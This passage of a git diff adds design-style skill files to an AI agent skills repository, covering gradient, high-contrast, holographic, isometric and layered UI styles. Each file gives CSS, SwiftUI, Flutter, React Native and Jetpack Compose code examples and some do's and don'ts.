style: TextStyle(fontSize: 60, fontWeight: FontWeight.w900, color: Colors.white)), + ), + const SizedBox(height: 40), + // Gradient Border Card + Container( + width: 250, height: 150, + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(15), + gradient: const LinearGradient(colors: [Color(0xFF8A2387), Color(0xFFE94057), Color(0xFFF27121)]), + ), + padding: const EdgeInsets.all(3), // Border width + child: Container( + decoration: BoxDecoration(color: Colors.white, borderRadius: BorderRadius.circular(12)), + alignment: Alignment.center, + child: const Text('Gradient Border'), + ), + ), + ], + ), + ); + }, + ), + ); + } +} +``` +- Flutter text gradients require `ShaderMask` with `BlendMode.srcIn`. +- To animate a gradient background, animate the `Alignment` values of the `LinearGradient`. + +### React Native +```jsx +// REQUIRES: expo-linear-gradient OR react-native-linear-gradient +import { LinearGradient } from 'expo-linear-gradient'; +import MaskedView from '@react-native-masked-view/masked-view'; + +const GradientDesignScreen = () => { + return ( + <LinearGradient + colors={['#ee7752', '#e73c7e', '#23a6d5', '#23d5ab']} + start={{ x: 0, y: 0 }} end={{ x: 1, y: 1 }} + style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }} + > + {/* Gradient Text */} + <MaskedView + style={{ height: 80, width: '100%', flexDirection: 'row' }} + maskElement={ + <View style={{ backgroundColor: 'transparent', flex: 1, justifyContent: 'center', alignItems: 'center' }}> + <Text style={{ fontSize: 60, fontWeight: '900', color: 'black' }}>VIBRANT</Text> + </View> + } + > + <LinearGradient + colors={['#F9D423', '#FF4E50']} + start={{ x: 0, y: 0 }} end={{ x: 1, y: 0 }} + style={{ flex: 1 }} + /> + </MaskedView> + + <View style={{ marginTop: 40 }}> + {/* Gradient Border Card */} + <LinearGradient + colors={['#8A2387', '#E94057', '#F27121']} + start={{ x: 0, y: 0 }} end={{ x: 1, y: 0 }} + style={{ padding: 3, borderRadius: 15 }} + > + <View style={{ backgroundColor: '#FFF', width: 250, height: 150, borderRadius: 12, justifyContent: 'center', alignItems: 'center' }}> + <Text>Gradient Border</Text> + </View> + </LinearGradient> + </View> + </LinearGradient> + ); +}; +``` +- Gradient text in React Native is notoriously annoying. You must use `@react-native-masked-view/masked-view` to mask a `LinearGradient` with a `<Text>` node. +- Gradient borders are achieved by nesting a solid view inside a `LinearGradient` with a small padding (e.g., `padding: 3`). + +### Jetpack Compose +```kotlin +@Composable +fun GradientDesignScreen() { + // Animated Background + val infiniteTransition = rememberInfiniteTransition() + val offset by infiniteTransition.animateFloat( + initialValue = 0f, targetValue = 1000f, + animationSpec = infiniteRepeatable(tween(5000, easing = LinearEasing), RepeatMode.Reverse) + ) + + val bgBrush = Brush.linearGradient( + colors = listOf(Color(0xFFee7752), Color(0xFFe73c7e), Color(0xFF23a6d5), Color(0xFF23d5ab)), + start = Offset(offset, 0f), end = Offset(offset + 500f, 1000f) + ) + + Box( + modifier = Modifier.fillMaxSize().background(bgBrush), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + // Gradient Text + val textBrush = Brush.horizontalGradient(listOf(Color(0xFFF9D423), Color(0xFFFF4E50))) + Text( + text = "VIBRANT", + style = TextStyle(brush = textBrush, fontSize = 60.sp, fontWeight = FontWeight.Black) + ) + + Spacer(Modifier.height(40.dp)) + + // Gradient Border Card + val borderBrush = Brush.horizontalGradient(listOf(Color(0xFF8A2387), Color(0xFFE94057), Color(0xFFF27121))) + Box( + modifier = Modifier + .size(250.dp, 150.dp) + .border(3.dp, borderBrush, RoundedCornerShape(12.dp)) + .background(Color.White, RoundedCornerShape(12.dp)), + contentAlignment = Alignment.Center + ) { + Text("Gradient Border") + } + } + } +} +``` +- Compose handles gradients beautifully via `Brush`. +- You can pass a `Brush` directly into a `TextStyle` for gradient text, or into a `Modifier.border()` for gradient borders. + +## Do's and Don'ts +- **DO**: Use multi-stop gradients (3 or 4 colors) rather than just simple A-to-B gradients for a more modern, rich look. +- **DON'T**: Apply gradients to tiny text or thin icons, they will lose legibility immediately. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/high-contrast/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/high-contrast/SKILL.md new file mode 100644 index 00000000..5d1b67bc --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/high-contrast/SKILL.md @@ -0,0 +1,288 @@ +--- +name: high-contrast +description: Web and App implementation guide for High Contrast Design. Trigger when user wants accessibility-focused design, extreme legibility, or stark visual impact. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# High Contrast Design + +> "Maximum legibility. Stark, powerful, and universally accessible." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **WCAG AAA Compliance**: Every color pairing must exceed a 7:1 contrast ratio. +2. **Clear Boundaries**: Interactive elements have highly visible borders and focus states. +3. **No Ambiguity**: Avoid subtle greys, low-opacity text, or purely decorative elements that distract from the core content. + +## Visual DNA +- **Colors**: **Industrial Chic** (Black and White) or **Modern Editorial**. Often uses a single, highly luminous accent color (like pure Yellow `#FFFF00` or Cyan `#00FFFF`) against black. +- **Typography**: Highly legible, robust sans-serifs (`Atkinson Hyperlegible`, `Inter`, `Roboto`). Large base font sizes (18px+). +- **Styling**: Solid 2px borders around cards and buttons. Avoid drop shadows as they reduce edge clarity. + +## Web Implementation +- Focus heavily on focus states (`:focus-visible`) and clear active states. +- **CSS Example**: +```css +:root { + --hc-bg: #ffffff; + --hc-text: #000000; + --hc-accent: #0000FF; /* Pure blue */ + --hc-focus: #FF00FF; /* High visibility focus ring */ +} + +body { + background-color: var(--hc-bg); + color: var(--hc-text); + font-family: 'Atkinson Hyperlegible', sans-serif; + font-size: 18px; /* Larger default */ +} + +.hc-card { + background-color: #ffffff; + border: 3px solid #000000; /* Unmissable boundary */ + padding: 32px; + border-radius: 8px; +} + +.hc-btn { + background-color: var(--hc-accent); + color: #ffffff; + border: 3px solid transparent; /* Reserve space for focus */ + border-radius: 4px; + padding: 16px 32px; + font-weight: 700; + font-size: 1.1rem; + cursor: pointer; +} + +/* Crucial for high contrast / accessibility */ +.hc-btn:focus-visible, a:focus-visible { + outline: 4px solid var(--hc-focus); + outline-offset: 4px; +} + +a { + color: var(--hc-accent); + text-decoration: underline; + text-decoration-thickness: 2px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct HighContrastView: View { + var body: some View { + VStack(spacing: 32) { + // High Contrast Card + VStack(alignment: .leading, spacing: 16) { + Text("Maximum Legibility") + .font(.custom("Atkinson Hyperlegible", size: 24)) + .fontWeight(.bold) + .foregroundColor(.black) + + Text("Content is king. Borders are stark. Contrast ratios exceed 7:1.") + .font(.custom("Atkinson Hyperlegible", size: 18)) + .foregroundColor(.black) + } + .padding(32) + .background(Color.white) + .overlay( + RoundedRectangle(cornerRadius: 8) + .stroke(Color.black, lineWidth: 3) + ) + + // High Contrast Action Button + Button(action: {}) { + Text("CONFIRM ACTION") + .font(.custom("Atkinson Hyperlegible", size: 18)) + .fontWeight(.black) + .foregroundColor(.white) + .padding(.vertical, 16) + .padding(.horizontal, 32) + .background(Color.blue) // Must be a high-contrast blue, e.g., #0000FF + .cornerRadius(4) + } + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(Color.white) + } +} +``` +- Rely on thick `.stroke(Color.black, lineWidth: 3)` overlays. +- Ensure text is pure `.black` on pure `.white`. Do not use `.secondary` colors if they drop below a 7:1 contrast ratio. +- Use fonts specifically designed for legibility, like Atkinson Hyperlegible. + +### Flutter +```dart +class HighContrastScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.white, + body: Center( + child: Padding( + padding: const EdgeInsets.all(24.0), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // High Contrast Card + Container( + width: double.infinity, + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(8), + border: Border.all(color: Colors.black, width: 3), // Unmissable boundary + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Maximum Legibility', + style: TextStyle(fontFamily: 'Atkinson', fontSize: 24, fontWeight: FontWeight.bold, color: Colors.black)), + SizedBox(height: 16), + Text('Content is king. Borders are stark. Contrast ratios exceed 7:1.', + style: TextStyle(fontFamily: 'Atkinson', fontSize: 18, color: Colors.black)), + ], + ), + ), + const SizedBox(height: 32), + + // High Contrast Button + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: const Color(0xFF0000FF), // Pure blue + foregroundColor: Colors.white, + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(4)), + elevation: 0, // No shadows + ), + child: const Text('CONFIRM ACTION', + style: TextStyle(fontFamily: 'Atkinson', fontSize: 18, fontWeight: FontWeight.w900)), + ), + ], + ), + ), + ), + ); + } +} +``` +- Disable `elevation` on buttons; shadows blur the edges and reduce contrast. +- Use `Border.all(color: Colors.black, width: 3)` on containers to explicitly define spatial boundaries for users with low vision. + +### React Native +```jsx +const HighContrastScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#FFFFFF', padding: 24, justifyContent: 'center' }}> + + {/* High Contrast Card */} + <View style={{ + backgroundColor: '#FFFFFF', + borderColor: '#000000', + borderWidth: 3, + borderRadius: 8, + padding: 32, + marginBottom: 32 + }}> + <Text style={{ fontFamily: 'Atkinson-Bold', fontSize: 24, color: '#000000', marginBottom: 16 }}> + Maximum Legibility + </Text> + <Text style={{ fontFamily: 'Atkinson-Regular', fontSize: 18, color: '#000000' }}> + Content is king. Borders are stark. Contrast ratios exceed 7:1. + </Text> + </View> + + {/* High Contrast Button */} + <TouchableOpacity style={{ + backgroundColor: '#0000FF', + paddingVertical: 16, + paddingHorizontal: 32, + borderRadius: 4, + alignItems: 'center' + }}> + <Text style={{ fontFamily: 'Atkinson-Bold', fontSize: 18, color: '#FFFFFF', fontWeight: '900' }}> + CONFIRM ACTION + </Text> + </TouchableOpacity> + + </View> + ); +}; +``` +- In React Native, accessibility relies heavily on high contrast. Ensure `borderWidth: 3` and explicit pure `#000000` text colors. +- Make sure to use accessible `<TouchableOpacity>` areas (minimum 48x48 padding for hit slop). + +### Jetpack Compose +```kotlin +@Composable +fun HighContrastScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + .padding(24.dp), + verticalArrangement = Arrangement.Center + ) { + // High Contrast Card + Box( + modifier = Modifier + .fillMaxWidth() + .background(Color.White, RoundedCornerShape(8.dp)) + .border(3.dp, Color.Black, RoundedCornerShape(8.dp)) + .padding(32.dp) + ) { + Column { + Text( + text = "Maximum Legibility", + fontSize = 24.sp, + fontWeight = FontWeight.Bold, + color = Color.Black + ) + Spacer(Modifier.height(16.dp)) + Text( + text = "Content is king. Borders are stark. Contrast ratios exceed 7:1.", + fontSize = 18.sp, + color = Color.Black + ) + } + } + + Spacer(Modifier.height(32.dp)) + + // High Contrast Button + Button( + onClick = { }, + colors = ButtonDefaults.buttonColors( + containerColor = Color(0xFF0000FF), + contentColor = Color.White + ), + shape = RoundedCornerShape(4.dp), + elevation = null, // Disable shadows for stark look + modifier = Modifier.fillMaxWidth().height(56.dp) + ) { + Text("CONFIRM ACTION", fontSize = 18.sp, fontWeight = FontWeight.Black) + } + } +} +``` +- Use `Modifier.border(3.dp, Color.Black)` around containers. +- Disable button elevations (`elevation = null`) to keep the design perfectly flat and sharp. + +## Do's and Don'ts +- **DO**: Run your colors through a contrast checker. If it's below 7:1, adjust it. +- **DON'T**: Rely on color alone to convey meaning (e.g., don't just make an error state red; make it red AND add an error icon AND bold the text). + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/holographic-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/holographic-ui/SKILL.md new file mode 100644 index 00000000..f01da6e5 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/holographic-ui/SKILL.md @@ -0,0 +1,310 @@ +--- +name: holographic-ui +description: Web and App implementation guide for Holographic UI. Trigger when user wants light-based appearance, projected interfaces, and transparent floating elements. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Holographic UI + +> "Made of light. Interfaces projected into thin air, visible but completely translucent." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Zero Opacity Backgrounds**: Elements are never fully solid. Everything is semi-transparent, allowing the background to show through. +2. **Scanlines and Interference**: The illusion of a projection is sold by horizontal scanlines, slight chromatic aberration, or flickering. +3. **Luminous Edges**: The borders of elements are brighter than the centers, mimicking how lasers or light projections focus at the edges. + +## Visual DNA +- **Colors**: Almost exclusively monochrome Cyan, Blue, or Green, with white core highlights. +- **Typography**: Thin, technical sans-serifs. Must have a glowing `text-shadow`. +- **Styling**: Intensive use of `rgba()`, `mix-blend-mode: screen` or `add`, and CSS filters. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #020202; /* Must be dark for holograms to show */ + background-image: url('dark-lab-background.jpg'); + background-size: cover; + color: #88ffff; +} + +.hologram-panel { + background: rgba(0, 200, 255, 0.05); /* Extremely sheer */ + border: 1px solid rgba(136, 255, 255, 0.5); + border-radius: 4px; + padding: 30px; + + /* The glowing edge */ + box-shadow: + inset 0 0 20px rgba(0, 200, 255, 0.2), + 0 0 15px rgba(0, 200, 255, 0.3); + + /* Scanline effect */ + background-image: linear-gradient( + rgba(136, 255, 255, 0.1) 1px, + transparent 1px + ); + background-size: 100% 4px; +} + +.holo-text { + font-family: 'Rajdhani', sans-serif; + text-transform: uppercase; + text-shadow: 0 0 8px rgba(136, 255, 255, 0.8); + mix-blend-mode: screen; +} + +/* Subtle flicker */ +.holo-flicker { + animation: hologramFlicker 4s infinite; +} + +@keyframes hologramFlicker { + 0%, 100% { opacity: 1; } + 92% { opacity: 1; } + 93% { opacity: 0.4; } + 94% { opacity: 0.9; } + 96% { opacity: 0.2; } + 98% { opacity: 1; } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct HolographicUIView: View { + @State private var isFlickering = false + + var body: some View { + ZStack { + Color.black.ignoresSafeArea() + + VStack { + Text("HOLOGRAM ACTIVE") + .font(.custom("Courier", size: 24)) + .foregroundColor(Color(hex: "88FFFF")) + .shadow(color: Color(hex: "88FFFF"), radius: 10) + .blendMode(.screen) // Critical for light UI + + Spacer().frame(height: 40) + + VStack { + Text("SYSTEM DIAGNOSTICS") + .foregroundColor(Color(hex: "88FFFF")) + } + .padding(30) + .frame(maxWidth: .infinity) + .background(Color(hex: "88FFFF").opacity(0.05)) + .border(Color(hex: "88FFFF").opacity(0.5), width: 1) + // The glowing edge effect + .shadow(color: Color(hex: "88FFFF").opacity(0.5), radius: 15) + .blendMode(.screen) + .opacity(isFlickering ? 0.4 : 1.0) + } + .padding() + + // Scanline Overlay + LinearGradient( + stops: [ + .init(color: Color(hex: "88FFFF").opacity(0.1), location: 0), + .init(color: .clear, location: 0.5) + ], + startPoint: .top, endPoint: .bottom + ) + .frame(height: 4) + .background(Color.clear) + // You would tile this in a real app using an Image or custom shape + .blendMode(.screen) + } + .onAppear { + // Simulate flicker + Timer.scheduledTimer(withTimeInterval: 0.1, repeats: true) { _ in + if Int.random(in: 1...100) > 95 { + isFlickering.toggle() + DispatchQueue.main.asyncAfter(deadline: .now() + 0.1) { + isFlickering = false + } + } + } + } + } +} +``` +- `.blendMode(.screen)` is absolutely critical. It makes elements act like projected light. +- Stack multiple `.shadow()` modifiers to create a bloom effect around text and borders. + +### Flutter +```dart +class HolographicScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, // Dark lab background + body: Stack( + children: [ + Padding( + padding: const EdgeInsets.all(24.0), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Glowing Text + const Text( + 'HOLOGRAM ACTIVE', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 24, + color: Color(0xFF88FFFF), + shadows: [Shadow(color: Color(0xFF88FFFF), blurRadius: 10)], + ), + ), + const SizedBox(height: 40), + + // Hologram Panel + Container( + width: double.infinity, + padding: const EdgeInsets.all(30), + decoration: BoxDecoration( + color: const Color(0xFF88FFFF).withOpacity(0.05), + border: Border.all(color: const Color(0xFF88FFFF).withOpacity(0.5)), + boxShadow: [ + BoxShadow(color: const Color(0xFF88FFFF).withOpacity(0.2), blurRadius: 15, spreadRadius: 5), + ], + ), + child: const Text( + 'SYSTEM DIAGNOSTICS', + textAlign: TextAlign.center, + style: TextStyle(color: Color(0xFF88FFFF)), + ), + ), + ], + ), + ), + // Scanlines (IgnorePointer so it doesn't block taps) + IgnorePointer( + child: ShaderMask( + blendMode: BlendMode.screen, // Makes it act like light + shaderCallback: (bounds) => const LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + stops: [0.0, 0.5, 0.5, 1.0], + colors: [Colors.black12, Colors.black12, Colors.transparent, Colors.transparent], + ).createShader(bounds), + // To actually tile in Flutter, you often need a CustomPainter. + // Here we simulate the blend mode. + child: Container(color: const Color(0xFF88FFFF).withOpacity(0.1)), + ), + ), + ], + ), + ); + } +} +``` +- The `Shadow` array inside `TextStyle` creates the glowing text. +- `BoxShadow` with `spreadRadius` creates the glowing panel border. +- `ShaderMask` with `BlendMode.screen` layered over the UI gives it that light-projection quality. + +### React Native +```jsx +const HolographicScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#020202', padding: 24, justifyContent: 'center' }}> + + <Text style={{ + fontFamily: 'monospace', fontSize: 24, textAlign: 'center', color: '#88FFFF', + textShadowColor: '#88FFFF', textShadowRadius: 10, marginBottom: 40 + }}> + HOLOGRAM ACTIVE + </Text> + + <View style={{ + backgroundColor: 'rgba(0, 200, 255, 0.05)', + borderWidth: 1, borderColor: 'rgba(136, 255, 255, 0.5)', + padding: 30, borderRadius: 4, + // The glowing edge + shadowColor: '#88FFFF', shadowOffset: { width: 0, height: 0 }, + shadowOpacity: 0.5, shadowRadius: 15, elevation: 10 + }}> + <Text style={{ color: '#88FFFF', textAlign: 'center', fontFamily: 'monospace' }}> + SYSTEM DIAGNOSTICS + </Text> + </View> + + {/* Pseudo-scanlines overlay. In a real app, use an repeating Image background. */} + <View pointerEvents="none" style={{ + position: 'absolute', top: 0, left: 0, right: 0, bottom: 0, + backgroundColor: 'rgba(136, 255, 255, 0.03)', + }} /> + + </View> + ); +}; +``` +- React Native doesn't support `mix-blend-mode` out of the box, so you must rely heavily on low-opacity backgrounds and intense `textShadow` / `shadowRadius`. +- Use `pointerEvents="none"` on scanline overlays so they don't block user interactions. + +### Jetpack Compose +```kotlin +@Composable +fun HolographicScreen() { + Box(modifier = Modifier.fillMaxSize().background(Color(0xFF020202))) { + Column( + modifier = Modifier.fillMaxSize().padding(24.dp), + verticalArrangement = Arrangement.Center, + horizontalAlignment = Alignment.CenterHorizontally + ) { + // Glowing Text + Text( + text = "HOLOGRAM ACTIVE", + fontFamily = FontFamily.Monospace, + fontSize = 24.sp, + color = Color(0xFF88FFFF), + style = TextStyle( + shadow = Shadow(color = Color(0xFF88FFFF), blurRadius = 10f) + ), + modifier = Modifier.graphicsLayer { blendMode = BlendMode.Screen } + ) + + Spacer(Modifier.height(40.dp)) + + // Glowing Panel + Box( + modifier = Modifier + .fillMaxWidth() + .graphicsLayer { blendMode = BlendMode.Screen } + .shadow(15.dp, ambientColor = Color(0xFF88FFFF), spotColor = Color(0xFF88FFFF)) + .background(Color(0xFF88FFFF).copy(alpha = 0.05f)) + .border(1.dp, Color(0xFF88FFFF).copy(alpha = 0.5f)) + .padding(30.dp), + contentAlignment = Alignment.Center + ) { + Text("SYSTEM DIAGNOSTICS", color = Color(0xFF88FFFF), fontFamily = FontFamily.Monospace) + } + } + + // Simulating scanlines overlay + Box( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFF88FFFF).copy(alpha = 0.03f)) + ) + } +} +``` +- `Modifier.graphicsLayer { blendMode = BlendMode.Screen }` is exactly what you need in Compose to make elements act like projected light. +- Use Compose's `shadow` modifier with `ambientColor` and `spotColor` set to cyan to make the panels emit light. + +## Do's and Don'ts +- **DO**: Use `mix-blend-mode: screen` (web) or additive blending so overlapping holographic panels get brighter where they intersect. +- **DON'T**: Use any dark colors or drop shadows for the UI elements. Shadows don't exist in light projections. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/isometric-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/isometric-design/SKILL.md new file mode 100644 index 00000000..ff203cac --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/isometric-design/SKILL.md @@ -0,0 +1,228 @@ +--- +name: isometric-design +description: Web and App implementation guide for Isometric Design. Trigger when user wants angled 3D appearances without vanishing points, often used for technical illustrations. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Isometric Design + +> "The architect's view. A parallel projection where depth is constant and parallel lines never converge." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Parallel Lines**: Unlike true 3D, isometric projection has no vanishing point. Everything is viewed from an exact 30-degree angle. +2. **Top-Down, Angled View**: The classic "SimCity" perspective. +3. **Blocky Architecture**: UI elements often look like city blocks or stacked tiles. + +## Visual DNA +- **Colors**: **Warm Tech** or **Earth-Grounded Elegance**. Isometric designs often look like physical models, so slightly muted, realistic colors work well. +- **Typography**: Keep text flat to the screen, or map it perfectly to the isometric planes (top, left, right). +- **Shadows**: Hard, long drop shadows cast at an exact angle (usually -45 or 45 degrees). + +## Web Implementation +- CSS transforms are perfect for this. Combine `rotateX(60deg)` and `rotateZ(-45deg)`. +- **CSS Example**: +```css +.isometric-grid { + /* The foundation */ + transform-style: preserve-3d; + transform: rotateX(60deg) rotateZ(-45deg); +} + +.iso-block { + width: 100px; + height: 100px; + background-color: var(--secondary-base); + position: relative; + transition: transform 0.3s; +} + +/* Creating the 3D block with pseudo-elements */ +.iso-block::before { + content: ''; + position: absolute; + width: 20px; /* Depth */ + height: 100%; + background-color: var(--primary-text); /* Darker shade for side */ + right: 100%; + transform-origin: right; + transform: skewY(-45deg); +} + +.iso-block::after { + content: ''; + position: absolute; + width: 100%; + height: 20px; /* Depth */ + background-color: var(--cta-highlight); /* Lightest shade for top/bottom */ + top: 100%; + transform-origin: top; + transform: skewX(-45deg); +} + +.iso-block:hover { + transform: translateZ(20px) translate(-10px, -10px); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct IsometricView: View { + var body: some View { + ZStack { + Color.white.ignoresSafeArea() + + // Isometric Stack + VStack(spacing: 0) { + // Top layer + Rectangle() + .fill(Color.blue) + .frame(width: 150, height: 150) + .overlay(Text("TOP").foregroundColor(.white)) + + // Shadow simulation + Rectangle() + .fill(Color.black.opacity(0.2)) + .frame(width: 150, height: 20) + } + // The exact 3D transformations for Isometric projection + .rotationEffect(.degrees(-45)) + .rotation3DEffect(.degrees(60), axis: (x: 1, y: 0, z: 0)) + } + } +} +``` +- SwiftUI's `.rotation3DEffect` makes this surprisingly easy. Rotate Z by -45 degrees first (via `.rotationEffect`), then rotate X by 60 degrees. +- You can stack multiple views along the Z-axis (or simulate it with Y offsets before the 3D rotation) to create towering isometric city blocks. + +### Flutter +```dart +import 'dart:math'; + +class IsometricScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.white, + body: Center( + child: Transform( + // The Isometric Matrix Math + alignment: FractionalOffset.center, + transform: Matrix4.identity() + ..setEntry(3, 2, 0.001) // perspective + ..rotateX(pi / 3) // 60 degrees + ..rotateZ(-pi / 4), // -45 degrees + child: Container( + width: 150, + height: 150, + decoration: BoxDecoration( + color: Colors.blue, + boxShadow: [ + // Hard isometric drop shadow + BoxShadow( + color: Colors.black.withOpacity(0.3), + offset: const Offset(20, 20), + blurRadius: 0, // No blur for isometric + ), + ], + ), + child: const Center(child: Text('ISO BLOCK', style: TextStyle(color: Colors.white))), + ), + ), + ), + ); + } +} +``` +- `Transform` with `Matrix4` is required in Flutter. Applying `rotateX` and `rotateZ` yields the classic isometric grid. +- Isometric shadows are usually completely hard (0 `blurRadius`) and offset perfectly along the grid axes. + +### React Native +```jsx +const IsometricScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#FFF', justifyContent: 'center', alignItems: 'center' }}> + + <View style={{ + width: 150, + height: 150, + backgroundColor: '#2196F3', + justifyContent: 'center', + alignItems: 'center', + + // Isometric Transforms + transform: [ + { rotateX: '60deg' }, + { rotateZ: '-45deg' } + ], + + // Hard isometric shadow + shadowColor: '#000', + shadowOffset: { width: 20, height: 20 }, + shadowOpacity: 0.3, + shadowRadius: 0, // Hard edge + elevation: 10, + }}> + <Text style={{ color: '#FFF', fontWeight: 'bold' }}>ISO BLOCK</Text> + </View> + + </View> + ); +}; +``` +- The `transform` array processes in order. Apply `rotateX` then `rotateZ`. +- Hard shadows (`shadowRadius: 0`) sell the illustration look. + +### Jetpack Compose +```kotlin +@Composable +fun IsometricScreen() { + Box( + modifier = Modifier.fillMaxSize().background(Color.White), + contentAlignment = Alignment.Center + ) { + Box( + modifier = Modifier + .graphicsLayer { + // Isometric Transforms + rotationX = 60f + rotationZ = -45f + // Add subtle scale if it gets clipped + scaleX = 0.8f + scaleY = 0.8f + } + .size(150.dp) + // Draw a hard shadow behind the box + .drawBehind { + drawRect( + color = Color.Black.copy(alpha = 0.3f), + topLeft = Offset(40f, 40f), // Isometric offset + size = size + ) + } + .background(Color(0xFF2196F3)), + contentAlignment = Alignment.Center + ) { + Text("ISO BLOCK", color = Color.White, fontWeight = FontWeight.Bold) + } + } +} +``` +- Use `Modifier.graphicsLayer` to apply `rotationX` and `rotationZ`. +- To get a true hard isometric drop shadow in Compose without elevation blurring, use `Modifier.drawBehind` to manually draw a dark rectangle offset from the main content. + +## Do's and Don'ts +- **DO**: Use it for infographics, feature diagrams, or hero sections. +- **DON'T**: Build your entire app's functional UI in isometric projection. It's too hard to interact with. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/layered-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/layered-design/SKILL.md new file mode 100644 index 00000000..1e2cb84f --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/layered-design/SKILL.md @@ -0,0 +1,247 @@ +--- +name: layered-design +description: Web and App implementation guide for Layered Design. Trigger when user wants multiple depth levels, floating panels, and overlapping content. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Layered Design + +> "Stacking context. Interfaces built from overlapping, independent layers." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Explicit Overlap**: Elements intentionally overlap each other to break the grid and show depth. +2. **Clear Stratification**: Every layer must be visually distinct via shadow, border, or contrasting color. +3. **Parallax Scrolling**: Background layers move slower than foreground layers during interaction/scrolling. + +## Visual DNA +- **Colors**: **Monochromatic Brown** or **Sophisticated Neutral**. Layering works best when the background is distinct from the floating elements. +- **Typography**: Often large, overlapping text that spans across image and background layers. +- **Spacing**: Negative space is required around overlapping elements so they don't feel cluttered. + +## Web Implementation +- Heavy use of `position: absolute`, negative margins, and `z-index`. +- **CSS Example**: +```css +.layer-container { + position: relative; + padding: 100px; +} + +.layer-bg-image { + position: absolute; + top: 0; right: 0; + width: 60%; + height: 400px; + object-fit: cover; + z-index: 1; +} + +.layer-text-box { + position: relative; + z-index: 2; /* Sits above the image */ + background: white; + padding: 40px; + width: 50%; + margin-top: 200px; /* Pulls it down over the image */ + box-shadow: 0 20px 40px rgba(0,0,0,0.1); + /* Optional: border to define edge */ + border-left: 4px solid var(--cta-highlight); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct LayeredDesignView: View { + var body: some View { + ScrollView { + ZStack(alignment: .top) { + // Background Image Layer (Back) + Image("architectural-bg") + .resizable() + .aspectRatio(contentMode: .fill) + .frame(height: 400) + .offset(x: 40, y: 0) // Shifted right + .zIndex(1) + + // Content Card Layer (Front) + VStack(alignment: .leading, spacing: 16) { + Text("Stacking Context") + .font(.largeTitle).bold() + Text("This card intentionally overlaps the background image to create depth without relying on a grid.") + .foregroundColor(.secondary) + } + .padding(40) + .background(Color.white) + .shadow(color: Color.black.opacity(0.1), radius: 30, y: 20) + .offset(x: -40, y: 200) // Shifted left and pulled down + .zIndex(2) + } + .padding(.bottom, 200) // Account for the offset + } + } +} +``` +- `ZStack` is the foundation of layered design in SwiftUI. +- Use `.offset()` to intentionally break the alignment and create overlapping compositions. +- Explicitly set `.zIndex()` if your offsets might cause unexpected paint orders. + +### Flutter +```dart +class LayeredDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: SingleChildScrollView( + child: SizedBox( + height: 600, // Fixed 